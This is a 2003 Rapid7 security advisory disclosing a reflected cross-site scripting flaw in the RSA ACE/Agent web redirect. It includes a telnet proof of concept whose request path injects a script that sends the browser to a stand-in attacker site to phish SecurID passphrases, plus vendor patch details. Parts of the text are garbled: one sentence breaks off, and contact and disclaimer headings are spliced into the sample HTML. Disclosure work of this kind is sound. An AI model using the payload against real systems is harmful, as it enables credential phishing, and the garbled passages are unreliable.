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Rapid7 Advisory R7-0014: RSA SecurID ACE Agent Cross Site Scripting

CVE: CAN-2003-0389


Summary

June 18, 2003 - RSA SecurID provides authentication and access control using the RSA SecurID two-factor authentication framework. RSA SecurID two-factor authentication is based on something you know (such as a password or a PIN) and something you have (an authenticator such as a smart card). RSA ACE/Server provides RSA SecurID access control for enterprises.

RSA provides several RSA ACE/Agents for use with RSA ACE/Server. These agents provide integrated RSA SecurID access control for 3rd-party server platforms including Microsoft Windows, IIS, UNIX servers (PAM), Apache, and Lotus Domino.

The RSA ACE/Agent allows sites to protect web resources by requiring RSA SecurID authentication. Web browsers are automatically redirected to an authentication page where the user is required to authenticate with their RSA SecurID token before they can access protected resources.

This secure redirect function of the RSA ACE/Agents protecting IIS, Apache, or SunONE web servers contains a cross-site scripting vulnerability. The redirector does not properly escape special characters, so requests for a URL containing special script characters will cause the ACE/Agent to emit a page containing web script which would execute in the user's browser. An attacker could potentially use this to fool unsuspecting users into entering their passphrase information, which could then be replayed by the

Affected system(s):

KNOWN VULNERABLE:

  • RSA ACE/Agent version 5.0 for Windows
  • RSA ACE/Agent version 5.x for Web

Vendor Info

RSA Security, Inc.
http://www.rsasecurity.com

The vendor has been notified. This issue had already been discovered and fixed by RSA Security in an internal audit. The fix was released to customers in February 2003.

Detailed Analysis

Requests for paths containing special characters will cause these special characters to be emitted in the resulting redirect page. An attacker could potentially use the resulting script to quietly redirect users to his own Web site, where users would be tricked into entering their passphrase information.

For example, the following session illustrates how to redirect the browser:

$ telnet www.example.foo 80
Connected to www.example.foo.
Escape character is '^]'.
GET /"><script>document.location="http://foo.foo"</script> HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>SecurID Secure Link Redirect</TITLE>
</HEAD>

<BODY>

<H2>
The page you are trying to access is protected by SecurID.<BR>
The administrator requires protected pages to be accessed through a secure channel.<BR>
<A HREF="ht6. Contact Information Rapid7 Security Advisories Email: advisory@rapid7.com Web: http://www.rapid7.com/ Phone: +1 (212) 558-8700 7. Disclaimer and Copyrighttps://www.example.foo:443/"><script> document.location="http://www.foo.foo"</script>"> Click this link to activate the secure channel for this page.</A> </H2>

</BODY>
</HTML>

Solution

Update to the latest version of RSA ACE/Agent for Windows - version 5.0.1 or RSA ACE/Agent for Web - version 5.1.1.

Specific hot fixes and readme files can be downloaded from the following FTP sites:

Customers using the RSA ACE/Agent 5.0 for Windows:
RSA Security FTP Site:
ftp://ftp.rsasecurity.com/support/Patches/Ace/Agent/5.0.1_Agent/Win_Agent501.zip

Customers using the RSA ACE/Agent 5.1 for Web:
RSA Security FTP Site:
ftp://ftp.rsasecurity.com/support/Patches/Ace/Agent/5.1.1_Agent/WebAgent5.1.1.tar.gz

Disclaimer & Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2003 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.